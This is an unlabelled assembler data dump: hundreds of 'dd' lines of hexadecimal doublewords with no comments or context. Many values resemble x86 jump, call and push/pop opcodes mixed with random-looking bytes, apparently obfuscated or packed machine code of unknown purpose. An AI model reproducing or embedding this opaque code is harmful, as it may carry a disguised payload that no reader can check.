		dd 0F01653FFh, 8320690Fh, 5F480D22h, 9AB96AD9h,	0FF6857D3h
		dd 14901653h, 0D778B4D6h, 0E14AAF57h, 0E840E3BCh, 2CE2F974h
		dd 4DD2CB66h, 4280218Ah, 95113798h, 58873773h, 49220DAFh
		dd 0CBC305EFh, 0B9AF5886h, 0A1397416h, 7AB14BC1h, 0FA2019C6h
		dd 58274840h, 0F5113AAFh, 8320650Ah, 1B840EAAh,	7EF53178h
		dd 6008EBB5h, 66CB82A1h, 0C6D75C35h, 17ED52h, 0FFC80000h
		dd 0EF1155Ch, 1B88206Dh, 4A2EB8Ah, 6DB2F79Bh, 0E216FC3Ch
		dd 1158FF79h, 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h
		dd 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8268FA4Ah
		dd 89000050h, 0E6892434h, 4C681h, 0EE830000h, 24348704h
		dd 3154685Ch, 4890000h,	5F7E6824h, 2C890000h, 4BC56824h
		dd 34890000h, 4920BE24h, 0F08906B0h, 4079685Eh,	24890000h
		dd 24048124h, 4, 0BD55505Dh, 5AEF545Dh,	4246C01h, 8458F5Dh
		dd 5D086D81h, 8B5AEF54h, 8956242Ch, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 24048B5Ch, 81E78957h, 4C7h,	4C78100h
		dd 87000000h, 0E95C243Ch, 0FFF830EAh, 0B8234C12h, 6B04C49h
		dd 0E0FFC503h, 6B9672Dh, 50F0CC6Ch, 32F025D8h, 7B76A263h
		dd 1FED26A4h, 215419BCh, 26C56B86h, 54BF9992h, 7FCF0FA0h
		dd 3995FBE2h, 2A8B74EBh, 0A50011Bh, 1328D77Dh, 42219B0Bh
		dd 5BE7F05h, 463CD5FDh,	0AE9h, 9BD65500h, 0B27C78ECh, 0F04E821h
		dd 8Ch,	4840F00h, 66000000h, 0B903D5BBh, 2AFE4954h, 0B0B96660h
		dd 61C18BB1h, 5EF38B51h, 0BE9h,	3F7FDC00h, 69B08983h
		dd 13018B62h, 0A15042BBh, 3CDB8169h, 0F68407Dh,	8Fh, 14E800h
		dd 0F7FA0000h, 0CD4019BFh, 0B5B06591h, 1AC02E28h, 43B5ED28h
		dd 0F55F6767h, 61F6F181h, 0E78A6D92h, 58D0Fh, 81660000h
		dd 0E88730C1h, 13h, 0F99A6AF3h,	0F32CD6ECh, 0C9E68870h
		dd 32D2B3D5h, 5AC494F9h, 0A7D0B966h, 0AE9h, 6FF23200h
		dd 847FBB2Bh, 663A2194h, 8166CB8Bh, 81466CD6h, 8DD7E4CBh
		dd 0C4C0803Ch, 0CB8AF98Bh, 0BEB9B966h, 8A0F5DB6h, 4, 51C1BB66h
		dd 66609DB1h, 0D7FBC281h, 7E9h,	856C6800h, 0C71B45F9h
		dd 11E95661h, 6D000000h, 0F4E52270h, 4879818Fh,	0F2D5EEB1h
		dd 4DF79888h, 0F560F95Eh, 0AE9h, 96AE1900h, 13181606h
		dd 61959BE5h, 0ACF4EA81h, 12E86586h, 56000000h,	0B11ADB6Ch
		dd 85CCCA28h, 696AE19h,	0E5131816h, 8166609Bh, 0E9E783C7h
		dd 5, 65A9C22Ah, 52586118h, 6059E88Ah, 0FBFD580h, 68Fh
		dd 8C0F00h, 61000000h, 5C0FB966h, 16890Fh, 0DE80000h, 9E000000h
		dd 0D3E5DBEDh, 914E07EEh, 675CC060h, 5BFAB70Fh,	9E8h, 2CCA8800h
		dd 3E922C07h, 870FE40Ch, 5, 38E129BFh, 870F5F51h, 0Fh
		dd 0AE9h, 40E29F00h, 81EEE5FCh,	66F468AAh, 73ABF681h, 6E8h
		dd 0DB006F00h, 0FBB1D4Eh, 1688h, 10E800h, 78EC0000h, 0E821B27Ch
		dd 89D9ED04h, 0DDC6393Eh, 585B58EDh, 0D2EE8166h, 6E95246h
		dd 3000000h, 0ECB36F0Ah, 0B3F95EF0h, 0EDE1818Ah, 605BCFE0h
		dd 800Fh, 10E90000h, 0A000000h,	0D1481937h, 9423EF63h
		dd 1317C8B6h, 61BFA89Ah, 5810FF9h, 66000000h, 39FCEA81h
		dd 0B6B98EB0h, 0E851FBC9h, 6, 654F0725h, 9E9536Eh, 0D8000000h
		dd 0DC0DBF4Bh, 0C35560ACh, 0B70FF85Ah, 2880FFFh, 8A000000h
		dd 0FE9CCh, 5BAF0000h, 5F8C9D4Eh, 0EC887FAh, 63DE4155h
		dd 0C78BF552h, 0A9E28166h, 0F1B9666Ah, 6E9F2h, 961E0000h
		dd 9DF891F6h, 0C2857DBFh, 3800F3Eh, 80000000h, 0C28B39E8h
		dd 21E1D881h, 81660469h, 668125DEh, 0D68BC38Bh,	0B70FCB8Bh
		dd 0EE860F1h, 7E000000h, 0BC0B4EA1h, 0BF8E74BFh, 54C95716h
		dd 0FE87Dh, 7C000000h, 68206FAh, 19D955Ah, 0A85FCA2Dh
		dd 605A5BCAh, 8C0Fh, 0E7B70000h, 0BF0F6161h, 0BE9C0h, 0E75B0000h
		dd 0F4BBC2FCh, 7528F235h, 0F5653B7h, 8Ch, 565E5B00h, 665ED08Ah
		dd 3CECF681h, 0EAD78166h, 8B665361h, 0F85759C8h, 3850F58h
		dd 0F000000h, 0B866DFB7h, 0FFCAF7Ah, 688h, 860F00h, 8B000000h
		dd 8D0F57F8h, 6, 0C6A2F081h, 0BA5F463Eh, 192CDCF2h, 0E9D8BF0Fh
		dd 13h,	0C1C4C9E7h, 6303B8C8h, 14F31061h, 0E985DCF4h, 0F7CB3FFh
		dd 584h, 13DCB800h, 66F94951h, 0ED26C781h, 7E8h, 82EED400h
		dd 0EB187EDEh, 0CE9h, 133A7100h, 555E790Fh, 9A30E6D1h
		dd 0B9665AB7h, 8A0F1631h, 6, 0F133D081h, 60602C2Dh, 0F08BFCB6h
		dd 0A8EF8061h, 0C18B6661h, 0BE73B866h, 8840FF8h, 52000000h
		dd 2F15CE81h, 0F5B1E92h, 0EE8D9BFh, 21000000h, 6A9529A5h
		dd 0AD29B4Ch, 7EFEEE58h, 0F38B6638h, 10E95Eh, 68A0000h
		dd 0B2D02092h, 4516BD2Dh, 892F8F62h, 0B866B2A4h, 0FE8BF66h
		dd 0A6000000h, 479A207Ch, 2D98AEC3h, 4B5A745Bh,	0E9598FB1h
		dd 8, 0EF773182h, 0B5D9C197h, 1870Fh, 0E9F90000h, 0Ch
		dd 10139558h, 60924635h, 8334FBFBh, 2800F52h, 8B000000h
		dd 0F5358CEh, 18Ch, 0F59FC00h, 588h, 0D4EEBA00h, 860F306Ch
		dd 5, 0CE4908BEh, 0CE97Ch, 0B8900000h, 9CCF4ABBh, 59D35ECFh
		dd 0DA8B1A95h, 13E9h, 0D433AD00h, 0AE97D6F9h, 5BD61584h
		dd 51394387h, 8975F290h, 0E8CEBF0Fh, 0Dh, 3AC373FBh, 71108F1Dh
		dd 0F0F12BFDh, 3820F08h, 0F000000h, 0E95ED7BFh,	5, 76EB6F32h
		dd 0F5350CEh, 85h, 0E95F5F00h, 7, 6477F0C6h, 0F3A9579h
		dd 1987h, 14E900h, 58D10000h, 3113E4DFh, 37DFE116h, 0DEF79354h
		dd 6D50AA59h, 6E939BCh,	7A000000h, 57009B6Ah, 0E91FB383h
		dd 10h,	0C82CC5DEh, 0FD2F43BDh,	13D27A89h, 80557767h, 12E8h
		dd 991D3400h, 0EC604D40h, 0A7ECD80Fh, 3C607D6Eh, 818E80F3h
		dd 0F6865BDEh, 8E0F5E32h, 11h, 0BE8h, 0F0C33100h, 8988D96Ah
		dd 82CE791Fh, 58F8565Fh, 66C6B70Fh, 0E137DA81h,	0BF0F5E52h
		dd 0E86060CBh, 14h, 8706B9FFh, 0E52AC544h, 0BF83750Ch
		dd 94E19DB5h, 0E3477A0Ch, 0DDB96658h, 0CE96198h, 0E5000000h
		dd 92F890F7h, 0A02DE7B2h, 617EAF37h, 0F78BD38Bh, 3820Fh
		dd 0B70F0000h, 5E9F8h, 92FA0000h, 0E938CA8Ch, 0Fh, 1C3F3210h
		dd 674D512Ch, 8DD0E181h, 666A7D88h, 0E97ECEBAh,	0Ch, 8FA44408h
		dd 5D590BB1h, 0CFF529C5h, 0BE9h, 0C8539E00h, 0CC0E816Ah
		dd 6B2A6B89h, 8BDA8BFCh, 3EF81C6h, 660585A3h, 0BF0FC28Bh
		dd 0A7D6B8C7h, 6CB009D8h, 0F88B6660h, 0FE96061h, 0C2000000h
		dd 352129C9h, 2D4A619Dh, 7C1CAF05h, 5E96FF6h, 27000000h
		dd 6D547945h, 0EE8A6061h, 61C2B70Fh, 79BA6660h,	6160565Bh
		dd 0BF0F615Bh, 3860FDEh, 80000000h, 27B0E1C0h, 8E9h, 0E469EA00h
		dd 4FE21CF5h, 0F5F78B16h, 4FE08166h, 5E860CCh, 8D000000h
		dd 9669DC38h, 830Fh, 60590000h,	5BA4BE66h, 61F08B66h, 0C28B6661h
		dd 0E0C38166h, 0BE834h,	0BA580000h, 0E171D12h, 0B8A28C0Ah
		dd 59A2B53Dh, 6E8h, 4EE29500h, 8B81CC86h, 8E85AF1h, 23000000h
		dd 6F34B768h, 568650BDh, 0DA673FBBh, 0F5F5849h,	68Eh, 0EBC28100h
		dd 0F9257113h, 0F78B6651h, 50FE8A5Fh, 34DBD281h, 66585FBEh
		dd 0BE66F78Bh, 5E95318h, 22000000h, 0D4106CA5h,	8AE9E480h
		dd 860F60E6h, 6, 0A1BAE281h, 66603DD5h,	860FFB8Bh, 0
		dd 81666161h, 60A7C0EEh, 5E8h, 0C464D400h, 59FC01F2h, 4AB9BE66h
		dd 10E961h, 0B6360000h,	0EC647C4Ah, 654D2F93h, 69433764h
		dd 8F0F1383h, 2, 8B66A7B0h, 0C880FF2h, 0F000000h, 680h
		dd 0A0D88100h, 0F6ED2A9h, 810FC6BFh, 0Eh, 9E9h,	46B38900h
		dd 0E5B5F7F0h, 7E81A0Dh, 47000000h, 6C3EF27Bh, 8A603703h
		dd 0E85961E8h, 13h, 33AB2903h, 0B798489Ah, 0E4ADB964h
		dd 0F02847A9h, 0FB436D9h, 38Bh,	0C4D08000h, 0BFD78B58h
		dd 406B5CBCh, 58C78B52h, 0C5DA8166h, 1BB360D8h,	6661EA8Ah
		dd 1EBBD78Bh, 81618C10h, 5FE0B7E0h, 81665727h, 581E07E3h
		dd 0CAC28051h, 0C7B5F55Fh, 860F5157h, 0
		dd 0C78B5E5Eh, 5E9h, 85DA0100h,	0B70FEF07h, 0AE8DEh, 9CAF0000h
		dd 844C0DAFh, 0EF014F03h, 0E95892B7h, 0Ch, 723295A1h, 5D9082A0h
		dd 7EB1B876h, 6860Fh, 0B5600000h, 61FE8BB7h, 0AE9h, 553A4B00h
		dd 0F1CA37D5h, 8B0C2241h, 38F781FAh, 80729392h,	66F5A3E4h
		dd 0F64FEA81h, 6E9h, 8B6B7800h,	8ABB66A8h, 0C8D980CCh
		dd 12E9F8h, 0AB960000h,	0CFCC3466h, 0E2BC208Eh,	9ACB3AFh
		dd 12E86F39h, 0E2F3BE66h, 8E8h,	43330200h, 795DE505h, 0EEB9667Ch
		dd 0B70F5A83h, 0BE9CEh,	0D6830000h, 7BFBE029h, 0EEDD6106h
		dd 55CE8129h, 802D7C62h, 36BEC1E3h, 0F57D77Fh, 387h, 0DA8B6600h
		dd 4890Fh, 0BE660000h, 0F7810205h, 7E437215h, 0D575BA66h
		dd 158C0Fh, 10E90000h, 1B000000h, 96415DFDh, 0FBA86607h
		dd 0D4F7D963h, 0F58A9F2Dh, 0DE957h, 4DFC0000h, 0F3BB9F64h
		dd 0C14BCA51h, 5F78FC85h, 0EE9h, 0FD0CED00h, 0AA62018h
		dd 2D08B6D4h, 0F18324Bh, 58Dh, 0F54DBB00h, 8B662B86h, 0D18166F0h
		dd 820F79EFh, 0
		dd 4840Fh, 0BE660000h, 0CE849A2h, 96000000h, 1376664Dh
		dd 23A279CBh, 60F55E99h, 0F190D281h, 61F971B4h,	0FF08A5Ah
		dd 85h,	0F8E28100h, 8173DFAFh, 973A89C2h, 0FB8B666Ch, 0BB0EE680h
		dd 4215E074h, 8E8h, 6145500h, 740D4774h, 10E9C4h, 0BD050000h
		dd 0CC7F33FEh, 9FA65F28h, 74C8ED8Dh, 665FC551h,	0CE8BC88Bh
		dd 0F60F28Bh, 681h, 830F00h, 81000000h,	285B8FE9h, 0B9B2615Fh
		dd 66C88B66h, 665A88BAh, 0BB729DBEh, 3AC57121h,	3870Fh
		dd 0B70F0000h, 880FD1h,	0B1000000h, 38D0F0Bh, 0F000000h
		dd 10E9C6BFh, 17000000h, 9493237Ch, 0B3280026h,	0D9BA99B7h
		dd 56E215F8h, 0E8C0Fh, 8E80000h, 61000000h, 0A3752C80h
		dd 5EBF2388h, 0C7C18058h, 0F77F580h, 14E8C6BFh,	0DB000000h
		dd 585FBA6Fh, 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh, 5E0547BCh
		dd 0E981C68Ah, 51824128h, 13E958B3h, 94000000h,	0BDE99A3h
		dd 536221ACh, 0D3FA9ACh, 7E0FE25Ch, 8B520ADFh, 9E85BD7h
		dd 0A4000000h, 449DD6CFh, 3005241Bh, 0EE9h, 2185E400h
		dd 532D40B9h, 0F07BFDC1h, 59000B12h, 0BE9h, 38F98E00h
		dd 680445E8h, 0DF43AD9Eh, 36D63BB8h, 0ABDF8171h, 663FDE08h
		dd 0E9346BB8h, 9, 0AE6D1A1Fh, 0C33D52A2h, 7AC3809Ch, 3890Fh
		dd 0BF0F0000h, 86CDB8CEh, 0ADB746F8h, 226DB966h, 7C8F8BBh
		dd 5D3816Ch, 0F337D83h,	58Fh, 58B8BF00h, 0A8B6439Ch, 14E9F78Bh
		dd 8D000000h, 5174C8EDh, 86E7D5C5h, 74DD975Bh, 0F0DC1194h
		dd 81E641CDh, 0C33280DAh, 0E960F846h, 11h, 8532062Ah, 0F24A046Fh
		dd 86A94557h, 0F331C625h, 0CAB70FE7h, 6FE78161h, 52478981h
		dd 5EC3B70Fh, 14E9h, 9F82D00h, 2FB9C6DDh, 0D52D213h, 99FB4ED1h
		dd 0B4E1BDC6h, 0C2816630h, 7E99858h, 6C000000h,	56365B37h
		dd 0CE81537h, 1E000000h, 10620C9Ch, 63B7AD8Ah, 5F81D9B5h
		dd 0EF8166F5h, 0FE9824Dh, 0DA000000h, 26216C0h,	0E3BC2FFCh
		dd 4AA6E01Eh, 0CE9FB4Ch, 6C000000h, 709718CAh, 1624960Ch
		dd 6662FD1Eh, 8C0FF28Bh, 4, 5FCF8A51h, 94F38166h, 0F6051FCh
		dd 8Bh,	0BB5F6100h, 39789B0Dh, 0BF93DE80h, 53D82D23h, 5870Fh
		dd 81660000h, 0B38120D6h, 6026B02Ah, 99D68166h,	8E96025h
		dd 4A000000h, 3C1A6CA7h, 0F07244Dh, 8Ch, 0E9616100h, 0Ch
		dd 16C7A964h, 0CAC1B62Fh, 7B6B88DBh, 2860Fh, 1B10000h
		dd 0FFCF38Bh, 38Ch, 52F78000h, 0E5CA8166h, 0FFBEF9DAh
		dd 0E903283Ah, 6, 932C2BDh, 8B663777h, 6084B3CEh, 5E9h
		dd 11BD3600h, 8166664Bh, 61DF5BE2h, 9E9h, 0B0B5C800h, 0A21B1AE5h
		dd 8B66933Dh, 60D68BD0h, 12E9h,	0E459D000h, 0A16BFEA5h
		dd 0B337D431h, 8B697B34h, 0F6B2786h, 48Fh, 0C7BE6600h
		dd 0C1BF6118h, 0E9729D79h, 9, 0D8FAB6A6h, 40ED3571h, 3880F51h
		dd 0F000000h, 8166DABFh, 0E957F3EEh, 7,	6C62104Ah, 80CC7547h
		dd 0B70F1DC3h, 0BE9D3h,	0FD460000h, 0ED62431Ah,	0C39C23B7h
		dd 66F08BADh, 0BA53D88Bh, 7E7BAB1Fh, 0B8E0F59h,	0E9000000h
		dd 6, 7D143A28h, 0BA66A89Eh, 0B8661D6Bh, 8060BAFBh, 0D881F4D3h
		dd 4C69D6D0h, 128D0F61h, 0E9000000h, 0Dh, 0EBA35E1Fh, 0F352109Ah
		dd 1D2E2F5Eh, 0F28166DBh, 880FE21Ch, 0Ah, 4850Fh, 0BB660000h
		dd 0FE83F85h, 52000000h, 0F0FC3D55h, 8E03B5ADh,	5A1909CCh
		dd 840F043Eh, 0Bh, 6E9h, 0E4F3E000h, 591D96A7h,	7D9AD8BBh
		dd 0EE914h, 37B50000h, 73ADCEAAh, 297592CDh, 9C036305h
		dd 0E4F4E681h, 22B4505Fh, 0D2BF0F51h, 8AA1B75Fh, 0F2E781C3h
		dd 665021AEh, 8766F281h, 6601CF80h, 5BE3DE81h, 58B0Fh
		dd 8ABB0000h, 0BA5ABC0Ah, 4F4AE076h, 66BE6660h,	81665319h
		dd 59F3B3CBh, 97BF6661h, 66F38B7Fh, 0F180CB8Bh,	7880FC9h
		dd 60000000h, 0B4C1BF0Fh, 0DE961CBh, 0D3000000h, 9AAC8EA3h
		dd 0FF270AABh, 29B21461h, 16CD80F8h, 10E9h, 72045700h
		dd 9C82F492h, 2E43030h,	0E843A85Eh, 66F38BA6h, 0FB0C6BFh
		dd 0DE8C0B7h, 0AE000000h, 247A13F7h, 83B8483Ah,	0B4F4AC50h
		dd 5259FFB0h, 0FE9h, 0E16BBE00h, 266E4E9Ah, 9F5E638Ah
		dd 2DBFAB35h, 0F381665Eh, 0D18B8CA6h, 0C7816660h, 0CA817864h
		dd 759293C7h, 89D98161h, 0F52E5C9h, 8B0FDAB7h, 5, 0C41ACB8h
		dd 0C1806026h, 0BE88Eh,	87AF0000h, 1DCA3B67h, 7BB53DFh
		dd 0E9615F35h, 8, 93D77233h, 4C614768h,	8E8h, 3C1DE900h
		dd 1324D99Eh, 0C3B70F71h, 0FFB70F5Ah, 56F554B7h, 5BDEBF0Fh
		dd 8B66C38Bh, 10E9F8h, 9B7D0000h, 0EAFFCACDh, 0D4E6BDBDh
		dd 0AC4BC82h, 0CF816A1Ah, 61C1B815h, 816660F8h,	613769D9h
		dd 0BA661EB6h, 81664E76h, 8AAC74E0h, 9E856F8h, 67000000h
		dd 2AC73D6Eh, 61AA80EFh, 0FDE08166h, 0B2585933h, 50B0F996h
		dd 0D4DABA66h, 35B966FCh, 0F6816602h, 5E9FF05h,	58000000h
		dd 37918F84h, 0AEF8166h, 0D2BF0FEEh, 0AE9D78Bh,	1C000000h
		dd 0E3FF9922h, 76303233h, 0F1BB1F5h, 0FB8BC1BFh, 1CC98166h
		dd 0D68166D9h, 8B665062h, 52EE8AC6h, 0FB928CBFh, 0FD8A594Fh
		dd 0F9CBBB66h, 0E960F98Bh, 11h,	0AF88CFF6h, 0B7A84299h
		dd 0E34551F4h, 6A1698F1h, 8B0F4Fh, 61000000h, 5B6EB753h
		dd 0E9F8B70Fh, 0Ch, 426A6B49h, 0CBAF4A1Bh, 33FEBD05h, 14E9h
		dd 0D753BB00h, 53219F2Ah, 83BA4B15h, 37C2E05Ah,	0D1365C61h
		dd 4CBE6641h, 0D0BF0FB5h, 1E8E0Fh, 8C0F0000h, 18h, 13E9h
		dd 0DD900200h, 5AEEDC47h, 47B9EE6Dh, 6914B638h,	7DE3717Eh
		dd 0ECE68166h, 57D780D6h, 9E8h,	0D554A100h, 2647C710h
		dd 8B66B281h, 0B8665AF3h, 0E8F5F44Bh, 0Ah, 0E51BF325h
		dd 674B2013h, 816609BFh, 5F78B3CFh, 12E9h, 0ACE90000h
		dd 0B6CD4F7Fh, 45CF6957h, 99DA2D91h, 81F506C7h,	0BA990FF0h
		dd 0CE877h, 67F90000h, 6E19C58Dh, 555CAEFFh, 0F6006E7h
		dd 82h,	0CE900h, 0EAA0000h, 0EC778867h,	0D8FE40D4h, 5A6140B5h
		dd 2E07B866h, 14E9h, 9EE5AC00h,	57404380h, 8E82BEC3h, 8F8592FDh
		dd 8DFEEF88h, 0B9565356h, 615A312h, 0F57585Eh, 184h, 535FF900h
		dd 5BC4B452h, 0CF8B6659h, 266BDF81h, 0B70F7056h, 2A49B8F3h
		dd 12E97E77h, 93000000h, 0F667DC8Eh, 43CD8A30h,	0ABDA273Fh
		dd 0CB4FEDCAh, 0C8C080E5h, 814DE780h, 6969E1DBh, 11BE663Fh
		dd 0BE86094h, 0FB000000h, 0D5B40441h, 8F7FECF0h, 8E0F4162h
		dd 0
		dd 6870F5Eh, 81000000h,	647FE4F3h, 8B666105h, 0A5B753FEh
		dd 13E95Ah, 0F8680000h,	0E478C43Ah, 0E352E0CAh,	99AB9F54h
		dd 0C15FB916h, 0D0F78051h, 66DE8B66h, 66B323BBh, 0A9E681h
		dd 5850DA8Bh, 8E9h, 70CEF700h, 0DC1EE7DDh, 0FFA8B17h, 81h
		dd 0C0816600h, 0D881FC2Ch, 31D2BE43h, 98E881F8h, 0E811CF1Eh
		dd 9, 0B189C24Ah, 61F9D97Dh, 13E9CEh, 69CE0000h, 158A6860h
		dd 6D5E01BCh, 0B0B6ACAAh, 6DC4F5FCh, 0D9805FA8h, 3D98B847h
		dd 0D881067Bh, 6CAD0983h, 8166DE8Bh, 52C79BD9h,	0E85EFE8Bh
		dd 10h,	931CD428h, 5958FB5Fh, 0E955E61Ch, 512A09EFh, 0BA5F515Fh
		dd 3785F6A0h, 0D381CB8Bh, 2DF7FFEAh, 61C38166h,	0B2F3B5FBh
		dd 1B8D0F23h, 0E8000000h, 13h, 0BA3FA0A5h, 0F914460Fh
		dd 0B2362F96h, 9A08DD03h, 602B001Fh, 0FE95E61h,	0A8000000h
		dd 0E1194E1Fh, 0EE0A0038h, 39253B18h, 12E92D53h, 6000000h
		dd 3287053h, 1B327493h,	0A047711Ah, 7FD36481h, 0B8D08AACh
		dd 283F1AC1h, 8E0FE68Ah, 8, 2850Fh, 59530000h, 66D38BF8h
		dd 8378D781h, 0F06C42BBh, 0DD3BA0Ch, 890F7B1Fh,	0
		dd 665E5260h, 6061F08Bh, 0E78158B2h, 720F022Fh,	57E78161h
		dd 8A2462F5h, 6653FCCAh, 815EC78Bh, 2D18C7F3h, 0E82DB74Fh
		dd 10h,	9284FDE0h, 0A99914A6h, 0E15873A2h, 40FA8EC9h, 59E5EB80h
		dd 92EF8160h, 0E97A34C9h, 13h, 5AA92155h, 4BC8BA6Eh, 4549594Fh
		dd 0DB52FABh, 61E123EAh, 5820F60h, 0B9000000h, 0C4D179Ch
		dd 619CD780h, 9E9h, 57BF5500h, 0D0962028h, 8B66DA68h, 8BBAB5C2h
		dd 890FDEh, 0F000000h, 14E9C8BFh, 0E000000h, 757FF2A2h
		dd 0DF0B9FF4h, 70348A31h, 28EAF043h, 6027DE5Dh,	619AD780h
		dd 0BB9AB966h, 66F78B66h, 6072ADBEh, 850F61F9h,	5, 0C298FEBBh
		dd 8127B574h, 5A07B2D9h, 0B466BF59h, 34BB7A87h,	663FEFE4h
		dd 6A60C181h, 436CB966h, 0C716B866h, 4105BB66h,	38F0Fh
		dd 8B660000h, 0E8ED80CFh, 88C0Fh, 870F0000h, 2,	52F92FB2h
		dd 8F0Fh, 0F95A0000h, 8BFEDB80h, 800FF5F1h, 2, 0E960EEB0h
		dd 7, 972BEBD2h, 60C2C2ADh, 3D2AB866h, 11E9h, 0A3899400h
		dd 2E54243Ch, 0D0CA3434h, 733332BCh, 61610CFBh,	14E9h
		dd 890D1A00h, 8A8A07EAh, 5A73E43Fh, 5DC50970h, 0B4205619h
		dd 0DF816661h, 0B866B036h, 0F5286D3h, 8A5ADAB7h, 0FE960CEh
		dd 0F6000000h, 368B392Dh, 9B08E486h, 0A1459FEEh, 6660A7CBh
		dd 8166D68Bh, 614094F7h, 0F8CE8B61h, 0BA66CE8Ah, 0C881697Fh
		dd 6D5E1D93h, 0D0B6EF81h, 6E94DFBh, 90000000h, 0F7A73BE2h
		dd 138E0F62h, 0E9000000h, 0Eh, 3A6A9359h, 960D05Eh, 96582255h
		dd 9EB97678h, 0E904EBB5h, 6, 148F4134h,	0E9F8D830h, 0Bh
		dd 0CB5C8487h, 245BBD10h, 0E80A9845h, 0Eh, 0DB3B86C7h
		dd 601D4FBh, 0AB46DC1Fh, 80608E76h, 8B6671D7h, 0F5B61C8h
		dd 108Ch, 0BE900h, 28E40000h, 0AEB50687h, 439360FAh, 0FD08B25h
		dd 0E281C6BFh, 22C67925h, 14E8h, 2A798300h, 5AE042A1h
		dd 42E1436Fh, 0C3AF32A0h, 36700196h, 0DE98Dh, 2290000h
		dd 0F1B920B1h, 0BAF6A116h, 58FA7C00h, 0DEB70F56h, 10E859h
		dd 0CCE70000h, 50258030h, 0AC32771Eh, 0E35760DEh, 5E8584Bh
		dd 0A0000000h, 0A2D97430h, 58C3B70Fh, 5DD9BA59h, 5E93043h
		dd 0E9000000h, 0BC34961Ch, 12E9FCh, 20850000h, 0C8B8270Dh
		dd 1C646C59h, 0DDD4E703h, 0EF30223h, 28E0Fh, 0C38B0000h
		dd 0FCC68B66h, 2BF78160h, 8001A885h, 8A6184F0h,	5E9F7h
		dd 0F1B40000h, 668FEE8Bh, 0F8E93BBBh, 4127BA60h, 0BF0F6CEFh
		dd 816661F1h, 802497EAh, 605057C0h, 39FFBA66h, 0E8F95961h
		dd 0Dh,	1D106B7Fh, 3916199Dh, 32CB76AEh, 5FDC8A98h, 0D5BC21BEh
		dd 0DCF0810Ah, 0E9255DD8h, 7, 527A099Fh, 0E8C52A25h, 0Bh
		dd 8CABC40Bh, 211D0C8Dh, 0B98B2661h, 4D6F62ABh,	0CBBF0F5Eh
		dd 8166C28Bh, 50AD74CAh, 2850F58h, 0B4000000h, 0CE81F9BFh
		dd 4686F688h, 0E99ACF80h, 13h, 8B64F9E2h, 0BABB48B3h, 9B58DD93h
		dd 847995DEh, 0FB0FA5Eh, 483h, 14BE6600h, 3CBE665Bh, 0DFB70F3Fh
		dd 28E0Fh, 0DE8B0000h, 0B4FEB70Fh, 66C28A56h, 0C18BF38Bh
		dd 0BE9F5h, 87D20000h, 44058050h, 70056443h, 0E081660Ah
		dd 0D98BCFD2h, 7A73D081h, 66522893h, 0F58C88Bh,	0BA66F3BFh
		dd 0D98B545Ch, 11E9h, 6A2CFF00h, 7712847Dh, 49D92D96h
		dd 32F19DC5h, 8DBE0B56h, 0E9345D4Ah, 13h, 5789B069h, 39FC54C2h
		dd 52A0A2A4h, 6E473FA3h, 66A9C5DDh, 0E9498ABEh,	9, 58B9C9B2h
		dd 7F3ED737h, 0FCEA8A21h, 0EE9h, 2DD69F00h, 60158619h
		dd 0FFC98064h, 0FE25B53h, 385h,	0C7B70F00h, 329DB966h
		dd 3840Fh, 0E9800000h, 0D98166A2h, 8B66BBC8h, 1F8C0FC7h
		dd 0F000000h, 198Ah, 13E800h, 4E2F0000h, 5EACB2E9h, 12140152h
		dd 28957727h, 86A82B8Eh, 81F95AF6h, 0F16D49D9h,	5E858h
		dd 0DC630000h, 81DB65AAh, 0F5AB58F2h, 860F5841h, 4, 6BD7BB66h
		dd 11830Fh, 0E9600000h,	6, 0CD22884Ch, 0B9669CEBh, 0F861C168h
		dd 7E9h, 0F10F7B00h, 9C878EECh,	8B667BB1h, 666060CEh, 666E76BFh
		dd 614CDDBEh, 88F181h, 606140BBh, 0CABD37BAh, 51F56134h
		dd 1A830Fh, 14E80000h, 0B6000000h, 7AD03891h, 2AA18243h
		dd 228C8A39h, 0C868BEE9h, 5967EA69h, 0BF0F6058h, 0CE8CEh
		dd 991B0000h, 897D61A6h, 613E81FAh, 0C7802725h,	66615836h
		dd 0BE45F681h, 66FAB70Fh, 0BE7EDEBFh, 7EE785F4h, 10E8h
		dd 0FEC5A000h, 230F5D8Bh, 0CA325DF4h, 9D85D8EEh, 5880F31h
		dd 0B8000000h, 77401023h, 4810F5Fh, 52000000h, 0B65E6160h
		dd 30BA66E3h, 0F18B66BAh, 10E9F9h, 70C20000h, 0AD47D481h
		dd 26468172h, 0F065D112h, 0CE9A1DCh, 61000000h,	7F2DB4FCh
		dd 3A087D06h, 53756AF4h, 0BCDA8166h, 8A0F593Bh,	0Dh, 5E8h
		dd 0C8DEC400h, 6160158Fh, 14E85Eh, 6F7E0000h, 21C0FBA7h
		dd 0B45DAEAEh, 0BC24248Ch, 6F6B6C06h, 810F19CAh, 2, 0F5A6160h
		dd 283h, 8BE78A00h, 8E9FCCFh, 0C9000000h, 8F9FD838h, 0E96AF582h
		dd 0Bh,	4880DD4Bh, 4C67427Eh, 66A7D766h, 0B02E65B8h, 12870FECh
		dd 60000000h, 8E86160h,	5E000000h, 0FA82B24Fh, 5A1755CCh
		dd 0DB816661h, 0E58079A2h, 0A2D18197h, 0F4629C4h, 58Dh
		dd 0F6816600h, 8E8E6B8h, 5D000000h, 0F9F49F97h,	8014DBB6h
		dd 0F5A7ED5h, 281h, 6098B400h, 8161D78Bh, 0FCBA0ED3h, 13E9F82Bh
		dd 54000000h, 371B55C8h, 0C470DC0h, 8BC87A5Fh, 4EC53037h
		dd 0E850D0A7h, 10h, 0DCBB2A5Bh,	0D6E37482h, 839A1449h
		dd 4D60347Ah, 2C5B1FBBh, 665E5F51h, 1490EB81h, 61D68B60h
		dd 7E8h, 0DAAED500h, 6B20F3DCh,	4E1BE781h, 0F55F159Eh
		dd 13E8h, 7BBD7000h, 596E0BB0h,	2D32FE5Ah, 0E6BB443Dh
		dd 90628C4Ah, 37DA8166h, 890F5E79h, 5, 9FD08166h, 60D9B214h
		dd 0E8F38B66h, 0Fh, 0EA3A5E44h,	6063B42Ah, 0F0DF04A2h
		dd 0E81EB576h, 12h, 610D6223h, 7A801F1Ah, 367F9D93h, 0BF05BDC2h
		dd 5B5F0907h, 9E961h, 5C250000h, 0BDBF3B9Ah, 0F5A7C60h
		dd 0E86h, 9E900h, 3C100000h, 7DC0C703h,	0B65E0592h, 0D88B664Fh
